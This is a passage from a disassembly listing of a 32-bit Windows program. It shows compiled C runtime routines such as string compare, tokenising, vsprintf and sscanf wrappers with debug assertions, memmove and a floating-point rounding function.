sub_41F630+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41F708: ; CODE XREF: sub_41F630+72j ; sub_41F630+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41F630 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41F720 loc_41F710: ; CODE XREF: sub_41F720+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41F720 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F720 proc near ; CODE XREF: sub_401C87+3FDp ; sub_401C87+49Ep ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041F710 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41F726: ; CODE XREF: sub_41EBB0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41F74B loc_41F738: ; CODE XREF: sub_41F720+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41F710 test cl, cl jz short loc_41F794 test edx, 3 jnz short loc_41F738 loc_41F74B: ; CODE XREF: sub_41F720+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41F756: ; CODE XREF: sub_41F720+61j ; sub_41F720+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41F798 and eax, 81010100h jz short loc_41F756 and eax, 1010100h jnz short loc_41F792 and esi, 80000000h jnz short loc_41F756 loc_41F792: ; CODE XREF: sub_41F720+68j ; sub_41F720+81j ... pop esi pop edi loc_41F794: ; CODE XREF: sub_41F720+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41F798: ; CODE XREF: sub_41F720+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41F7D5 test al, al jz short loc_41F792 cmp ah, bl jz short loc_41F7CE test ah, ah jz short loc_41F792 shr eax, 10h cmp al, bl jz short loc_41F7C7 test al, al jz short loc_41F792 cmp ah, bl jz short loc_41F7C0 test ah, ah jz short loc_41F792 jmp short loc_41F756 ; --------------------------------------------------------------------------- loc_41F7C0: ; CODE XREF: sub_41F720+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41F7C7: ; CODE XREF: sub_41F720+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41F7CE: ; CODE XREF: sub_41F720+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41F7D5: ; CODE XREF: sub_41F720+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41F720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F7E0 proc near ; CODE XREF: sub_401C87+1A2p ; sub_401C87+1F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41F82C loc_41F7F0: ; CODE XREF: sub_41F7E0+3Cj ; sub_41F7E0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41F824 or al, al jz short loc_41F820 cmp ah, [ecx+1] jnz short loc_41F824 or ah, ah jz short loc_41F820 shr eax, 10h cmp al, [ecx+2] jnz short loc_41F824 or al, al jz short loc_41F820 cmp ah, [ecx+3] jnz short loc_41F824 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41F7F0 mov edi, edi loc_41F820: ; CODE XREF: sub_41F7E0+18j ; sub_41F7E0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41F824: ; CODE XREF: sub_41F7E0+14j ; sub_41F7E0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41F82C: ; CODE XREF: sub_41F7E0+Ej test edx, 1 jz short loc_41F848 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41F824 inc ecx or al, al jz short loc_41F820 test edx, 2 jz short loc_41F7F0 loc_41F848: ; CODE XREF: sub_41F7E0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41F824 or al, al jz short loc_41F820 cmp ah, [ecx+1] jnz short loc_41F824 or ah, ah jz short loc_41F820 add ecx, 2 jmp short loc_41F7F0 sub_41F7E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F870 proc near ; CODE XREF: sub_401C87+B4p ; sub_401C87+CDp ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] mov [ebp+var_30], eax call sub_428EE0 mov [ebp+var_8], eax mov [ebp+var_C], 0 jmp short loc_41F896 ; --------------------------------------------------------------------------- loc_41F88D: ; CODE XREF: sub_41F870+34j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_41F896: ; CODE XREF: sub_41F870+1Bj cmp [ebp+var_C], 20h jge short loc_41F8A6 mov edx, [ebp+var_C] mov [ebp+edx+var_2C], 0 jmp short loc_41F88D ; --------------------------------------------------------------------------- loc_41F8A6: ; CODE XREF: sub_41F870+2Aj ; sub_41F870+79j mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] mov edx, ecx sar edx, 3 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_2C] or cl, al mov edx, [ebp+var_30] xor eax, eax mov al, [edx] sar eax, 3 mov [ebp+eax+var_2C], cl mov ecx, [ebp+var_30] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_30] add eax, 1 mov [ebp+var_30], eax test edx, edx jnz short loc_41F8A6 cmp [ebp+arg_0], 0 jz short loc_41F8F9 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx jmp short loc_41F902 ; --------------------------------------------------------------------------- loc_41F8F9: ; CODE XREF: sub_41F870+7Fj mov edx, [ebp+var_8] mov eax, [edx+18h] mov [ebp+var_4], eax loc_41F902: ; CODE XREF: sub_41F870+87j ; sub_41F870+CFj mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_41F941 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_41F941 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_41F902 ; --------------------------------------------------------------------------- loc_41F941: ; CODE XREF: sub_41F870+B9j ; sub_41F870+C4j mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp short loc_41F952 ; --------------------------------------------------------------------------- loc_41F949: ; CODE XREF: sub_41F870:loc_41F997j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41F952: ; CODE XREF: sub_41F870+D7j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_41F999 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_41F997 mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_41F999 ; --------------------------------------------------------------------------- loc_41F997: ; CODE XREF: sub_41F870+114j jmp short loc_41F949 ; --------------------------------------------------------------------------- loc_41F999: ; CODE XREF: sub_41F870+EBj ; sub_41F870+125j mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov [edx+18h], eax mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_4] jnz short loc_41F9AE xor eax, eax jmp short loc_41F9B1 ; --------------------------------------------------------------------------- loc_41F9AE: ; CODE XREF: sub_41F870+138j mov eax, [ebp+arg_0] loc_41F9B1: ; CODE XREF: sub_41F870+13Cj mov esp, ebp pop ebp retn sub_41F870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9C0 proc near ; CODE XREF: sub_409C2F+1Cp ; sub_415AB0+19p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax loc_41F9CF: ; CODE XREF: sub_41F9C0+37j cmp [ebp+arg_0], 0 jnz short loc_41F9F3 push offset aStringNull ; "string != NULL" push 0 push 5Ah push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41F9F3 int 3 ; Trap to Debugger loc_41F9F3: ; CODE XREF: sub_41F9C0+13j ; sub_41F9C0+30j xor ecx, ecx test ecx, ecx jnz short loc_41F9CF loc_41F9F9: ; CODE XREF: sub_41F9C0+61j cmp [ebp+arg_8], 0 jnz short loc_41FA1D push offset aFormatNull ; "format != NULL" push 0 push 5Bh push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41FA1D int 3 ; Trap to Debugger loc_41FA1D: ; CODE XREF: sub_41F9C0+3Dj ; sub_41F9C0+5Aj xor edx, edx test edx, edx jnz short loc_41F9F9 mov eax, [ebp+var_24] mov dword ptr [eax+0Ch], 42h mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx+8], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_24] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_24] push eax call sub_427F60 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_41FA98 mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_2C], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_41FAA9 ; --------------------------------------------------------------------------- loc_41FA98: ; CODE XREF: sub_41F9C0+B4j mov edx, [ebp+var_24] push edx push 0 call sub_427CE0 add esp, 8 mov [ebp+var_2C], eax loc_41FAA9: ; CODE XREF: sub_41F9C0+D6j mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F9C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41FAC0 proc near ; CODE XREF: sub_40B2E7+8Dp ; sub_40BBCD+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41FB74 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41FAEA loc_41FADB: ; CODE XREF: sub_41FAC0+28j mov al, [edi] inc edi test al, al jz short loc_41FB1B test edi, 3 jnz short loc_41FADB loc_41FAEA: ; CODE XREF: sub_41FAC0+19j ; sub_41FAC0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41FAEA mov eax, [edi-4] test al, al jz short loc_41FB28 test ah, ah jz short loc_41FB23 test eax, 0FF0000h jz short loc_41FB1E test eax, 0FF000000h jnz short loc_41FAEA loc_41FB1B: ; CODE XREF: sub_41FAC0+20j dec edi jmp short loc_41FB2B ; --------------------------------------------------------------------------- loc_41FB1E: ; CODE XREF: sub_41FAC0+52j sub edi, 2 jmp short loc_41FB2B ; --------------------------------------------------------------------------- loc_41FB23: ; CODE XREF: sub_41FAC0+4Bj sub edi, 3 jmp short loc_41FB2B ; --------------------------------------------------------------------------- loc_41FB28: ; CODE XREF: sub_41FAC0+47j sub edi, 4 loc_41FB2B: ; CODE XREF: sub_41FAC0+5Cj ; sub_41FAC0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41FB40 mov ebx, ecx shr ecx, 2 jnz short loc_41FB8C jmp short loc_41FB5C ; --------------------------------------------------------------------------- loc_41FB40: ; CODE XREF: sub_41FAC0+75j ; sub_41FAC0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41FB7A mov [edi], dl inc edi dec ecx jz short loc_41FB70 test esi, 3 jnz short loc_41FB40 mov ebx, ecx shr ecx, 2 jnz short loc_41FB8C loc_41FB5C: ; CODE XREF: sub_41FAC0+7Ej ; sub_41FAC0+CAj mov ecx, ebx and ecx, 3 jz short loc_41FB70 loc_41FB63: ; CODE XREF: sub_41FAC0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41FB72 dec ecx jnz short loc_41FB63 loc_41FB70: ; CODE XREF: sub_41FAC0+8Bj ; sub_41FAC0+A1j mov [edi], cl loc_41FB72: ; CODE XREF: sub_41FAC0+ABj pop ebx pop esi loc_41FB74: ; CODE XREF: sub_41FAC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41FB7A: ; CODE XREF: sub_41FAC0+85j ; sub_41FAC0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41FAC0+E4j ; sub_41FAC0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41FB5C loc_41FB8C: ; CODE XREF: sub_41FAC0+7Cj ; sub_41FAC0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41FB84 test dl, dl jz short loc_41FB7A test dh, dh jz short loc_41FBD8 test edx, 0FF0000h jz short loc_41FBC8 test edx, 0FF000000h jnz short loc_41FB84 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41FAC0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41FBD8: ; CODE XREF: sub_41FAC0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41FAC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBF0 proc near ; CODE XREF: sub_40B419+62p ; sub_40B419+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41FC10 cmp edi, eax jb loc_41FD88 loc_41FC10: ; CODE XREF: sub_41FBF0+16j test edi, 3 jnz short loc_41FC2C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41FC4C rep movsd jmp off_41FD38[edx*4] ; --------------------------------------------------------------------------- loc_41FC2C: ; CODE XREF: sub_41FBF0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41FC44 and eax, 3 add ecx, eax jmp dword ptr loc_41FC4C+4[eax*4] ; --------------------------------------------------------------------------- loc_41FC44: ; CODE XREF: sub_41FBF0+46j jmp dword ptr loc_41FD48[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41FC4C: ; CODE XREF: sub_41FBF0+31j ; sub_41FBF0+8Ej ... jmp off_41FCCC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41FC60 dd offset loc_41FC8C dd offset loc_41FCB0 ; --------------------------------------------------------------------------- loc_41FC60: ; DATA XREF: sub_41FBF0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41FC4C rep movsd jmp off_41FD38[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41FC8C: ; DATA XREF: sub_41FBF0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41FC4C rep movsd jmp off_41FD38[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41FCB0: ; DATA XREF: sub_41FBF0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41FC4C rep movsd jmp off_41FD38[edx*4] ; --------------------------------------------------------------------------- align 4 off_41FCCC dd offset loc_41FD2F ; DATA XREF: sub_41FBF0:loc_41FC4Cr dd offset loc_41FD1C dd offset loc_41FD14 dd offset loc_41FD0C dd offset loc_41FD04 dd offset loc_41FCFC dd offset loc_41FCF4 dd offset loc_41FCEC ; --------------------------------------------------------------------------- loc_41FCEC: ; CODE XREF: sub_41FBF0:loc_41FC4Cj ; DATA XREF: sub_41FBF0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41FCF4: ; CODE XREF: sub_41FBF0:loc_41FC4Cj ; DATA XREF: sub_41FBF0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41FCFC: ; CODE XREF: sub_41FBF0:loc_41FC4Cj ; DATA XREF: sub_41FBF0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41FD04: ; CODE XREF: sub_41FBF0:loc_41FC4Cj ; DATA XREF: sub_41FBF0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41FD0C: ; CODE XREF: sub_41FBF0:loc_41FC4Cj ; DATA XREF: sub_41FBF0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41FD14: ; CODE XREF: sub_41FBF0:loc_41FC4Cj ; DATA XREF: sub_41FBF0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41FD1C: ; CODE XREF: sub_41FBF0:loc_41FC4Cj ; DATA XREF: sub_41FBF0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41FD2F: ; CODE XREF: sub_41FBF0:loc_41FC4Cj ; DATA XREF: sub_41FBF0:off_41FCCCo jmp off_41FD38[edx*4] ; --------------------------------------------------------------------------- align 4 off_41FD38 dd offset loc_41FD48 ; DATA XREF: sub_41FBF0+35r ; sub_41FBF0+92r ... dd offset loc_41FD50 dd offset loc_41FD5C dd offset loc_41FD70 ; --------------------------------------------------------------------------- loc_41FD48: ; CODE XREF: sub_41FBF0+35j ; sub_41FBF0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41FD50: ; CODE XREF: sub_41FBF0+35j ; sub_41FBF0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FD5C: ; CODE XREF: sub_41FBF0+35j ; sub_41FBF0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41FD70: ; CODE XREF: sub_41FBF0+35j ; sub_41FBF0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FD88: ; CODE XREF: sub_41FBF0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41FDBC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41FDB0 std rep movsd cld jmp off_41FED0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41FDB0: ; CODE XREF: sub_41FBF0+1B1j ; sub_41FBF0+208j ... neg ecx jmp dword ptr loc_41FE7F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41FDBC: ; CODE XREF: sub_41FBF0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41FDD4 and eax, 3 sub ecx, eax jmp dword ptr loc_41FDD4+4[eax*4] ; --------------------------------------------------------------------------- loc_41FDD4: ; CODE XREF: sub_41FBF0+1D6j ; DATA XREF: sub_41FBF0+1DDr jmp off_41FED0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41FDE8 ; --------------------------------------------------------------------------- or dh, bh inc ecx add [eax], dh inc byte ptr [ecx+0] loc_41FDE8: ; DATA XREF: sub_41FBF0+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41FDB0 std rep movsd cld jmp off_41FED0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41FDB0 std rep movsd cld jmp off_41FED0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41FDB0 std rep movsd cld jmp off_41FED0[edx*4] ; --------------------------------------------------------------------------- align 4 test bh, dh inc ecx add [esi+edi*8-16BFFBFh], cl inc ecx add [esi+edi*8-15BFFBFh], bl inc ecx add [esi+edi*8-14BFFBFh], ch inc ecx loc_41FE7F: ; DATA XREF: sub_41FBF0+1C2r add bh, al inc byte ptr [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41FEC7: ; CODE XREF: sub_41FBF0+1C2j jmp off_41FED0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41FED0 dd offset loc_41FEE0 ; DATA XREF: sub_41FBF0+1B7r ; sub_41FBF0:loc_41FDD4r ... dd offset loc_41FEE8 dd offset loc_41FEF8 dd offset loc_41FF0C ; --------------------------------------------------------------------------- loc_41FEE0: ; CODE XREF: sub_41FBF0+1B7j ; sub_41FBF0:loc_41FDD4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FEE8: ; CODE XREF: sub_41FBF0+1B7j ; sub_41FBF0:loc_41FDD4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FEF8: ; CODE XREF: sub_41FBF0+1B7j ; sub_41FBF0:loc_41FDD4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FF0C: ; CODE XREF: sub_41FBF0+1B7j ; sub_41FBF0:loc_41FDD4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41FBF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF30 proc near ; CODE XREF: sub_40C575+40p ; _0:0040EBBAp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_41FF45: ; CODE XREF: sub_41FF30+3Dj cmp [ebp+arg_0], 0 jnz short loc_41FF69 push offset aStringNull ; "string != NULL" push 0 push 42h push offset aSscanf_c ; "sscanf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41FF69 int 3 ; Trap to Debugger loc_41FF69: ; CODE XREF: sub_41FF30+19j ; sub_41FF30+36j xor edx, edx test edx, edx jnz short loc_41FF45 loc_41FF6F: ; CODE XREF: sub_41FF30+67j cmp [ebp+arg_4], 0 jnz short loc_41FF93 push offset aFormatNull ; "format != NULL" push 0 push 43h push offset aSscanf_c ; "sscanf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41FF93 int 3 ; Trap to Debugger loc_41FF93: ; CODE XREF: sub_41FF30+43j ; sub_41FF30+60j xor eax, eax test eax, eax jnz short loc_41FF6F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 49h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+arg_0] push eax call sub_41BC70 add esp, 4 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_24] push ecx call sub_429E90 add esp, 0Ch mov [ebp+var_28], eax mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41FF30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41FFF0(double) sub_41FFF0 proc near ; CODE XREF: sub_40D798+38p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, ds:dword_451810 push eax call sub_42C2F0 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_4200AB mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_42C0F0 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_420082 cmp [ebp+var_10], 2 jle short loc_42004E cmp [ebp+var_10], 3 jz short loc_420067 jmp short loc_420082 ; --------------------------------------------------------------------------- loc_42004E: ; CODE XREF: sub_41FFF0+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_42C2F0 add esp, 8 fld [ebp+arg_0] jmp loc_420121 ; --------------------------------------------------------------------------- loc_420067: ; CODE XREF: sub_41FFF0+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Bh ; int call sub_42B3B0 add esp, 10h jmp loc_420121 ; --------------------------------------------------------------------------- loc_420082: ; CODE XREF: sub_41FFF0+4Ej ; sub_41FFF0+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd ds:dbl_43CD98 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Bh ; int push 8 ; int call sub_42B480 add esp, 1Ch jmp short loc_420121 ; --------------------------------------------------------------------------- loc_4200AB: ; CODE XREF: sub_41FFF0+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_42B390 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_4200E1 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_42C2F0 add esp, 8 fld [ebp+var_8] jmp short loc_420121 ; --------------------------------------------------------------------------- loc_4200E1: ; CODE XREF: sub_41FFF0+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_420101 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_42C2F0 add esp, 8 fld [ebp+var_8] jmp short loc_420121 ; --------------------------------------------------------------------------- loc_420101: ; CODE XREF: sub_41FFF0+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Bh ; int push 10h ; int call sub_42B480 add esp, 1Ch loc_420121: ; CODE XREF: sub_41FFF0+72j ; 